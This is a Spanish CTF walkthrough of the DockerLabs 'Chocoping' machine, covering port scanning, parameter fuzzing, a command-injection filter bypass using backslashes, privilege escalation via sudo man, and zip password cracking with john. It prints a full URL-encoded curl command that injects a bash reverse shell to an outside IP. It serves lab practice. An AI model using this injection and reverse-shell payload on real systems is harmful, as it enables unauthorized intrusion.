Chocoping, Dockerlabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
fuzzing de archivos y carpetas | feroxbuster |
fuzzing de parametro | ffuf |
reverse shell | urlencodeada |
escalada de privilegios | man |
cracking zip password | zip2john |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX chocoping 172.17.0.2
Como vemos en el reporte en esta ocasion solo tenemos varios puertos abierto el 80 http el resultado d nmap tambien nos revela un fichero en el enlace al reporte de nmap puedn verlo.
Lo comprobamos lanzando un fuzzing de ficheros y directorios por si esconde algo mas.
Yo no encuentro nada mas asi que avanzamos a traves de ese fichero.
El fichero ping.php parece que espere un ip por lo que dice pero primero deberiamos hallar el parametro para la ejecucion del propio ping , si hallamos el parametro y conseguimos hacer ping lo siguiente deberia ser tratar de concatenar algun otro comando.
Primero lo primero hallar el parametro. Vamos a usar ffuf para ello.
1
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2/ping.php\?FUZZ\=google.es -fl 1
Para esconder los falsos positivos tenemos varias opciones de filtrado con fuff : -fl 1 esconde las lineas que solo tengan una linea y -fs 34 escondemos las del tamaño especificado.
Como vemos el parametro es ip y como valor use google.es. Ahora vamos a ver si podemos hacer un ping desde la web.
Lo hacemos y nos muestra el resultado , despùes de estar un buen rato probando a mano y tratando de bypasear el filtro qu es evidente por la respuesta de comando no permitido y por como depende de lo que ejecutes se queda la web en blanco y sin errores.
Apunto de volverme loco llego hasta la web de hackviser.com donde encuentro la solucion , la cual es escapar los comandos con backslashes contrabarras para mi.
que esta haciendo el filtro de esta web lo primero que es extraño es que permite usar tanto ; y | pero no && no obstante con los dos primeros concatenamos comandos sin problema, por otro lado el unico filtro que aplica es sobre los comandos que escribimos en la web , es decir , comprueba la entrada del usuario y si coincide con un comando conocido te lo bloquea pero al hacer uso del backslash se lo traga pq no lo ve como un comando sino como un string , recordamos que \ escapa el siguiente caracter pero si el caracter que le sigue no es un caracter especial se ignora.Esto me lleva a pensar que el filtro no es un regex sino una simple comparacion de cadenas las cuales no se comprueban antes de ser enviadas internatemente por ping.php Correcion despues de ver el contenido de ping.php , hay una funcion dentro del fichero que solo permite la ejecuion si lleva \
Ahora creo que ya estamos en disposicion de tratar de encontrar la forma de encodear la revshell.
1
curl "http://172.17.0.2/ping.php?ip=127.0.0.1%3Bi%64%3Bb\ash%20\-c%20'exec%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F192.168.0.101%2F1188%20%3C%261'"
Como veis tenemos que url-encodear todo menos el filtro explicito que se especifica dentro de ping.php es decir la contra barra es lo unico que no codifico y asi me funciona.
Intrusion
Como podemos ver ya entramos a la maquina ahora como siempre comandos habituales sudo find
Nos han dejado el binario man con sudo para escalar pero antes realizamos el tratamiento de la tty si no no funciona la paginacion y pro tanto no poodremos realizar la escalada.
Una vez realizado el movimiento lateral entre ususarios , en el directorio local nos ha dejado un zip lo descargamos a nuestra maquina y se lo pasamos a zip2john para hashear la contraseña y crackearla con john.
1
php -S 0.0.0.0:8000
1
zip2john secretito.zip > hashed
1
john --format=PKZIP -w ~/Descargas/rockyou.txt/rockyou.txt hashed
1
strings traffic.pcap
La contraseña de root esta escondida en el pcap del zip , asi que.
1
su
Estamos como root
Muchas gracias por leer , dudas sugerencias y comentarios por X.
Comments powered by Disqus.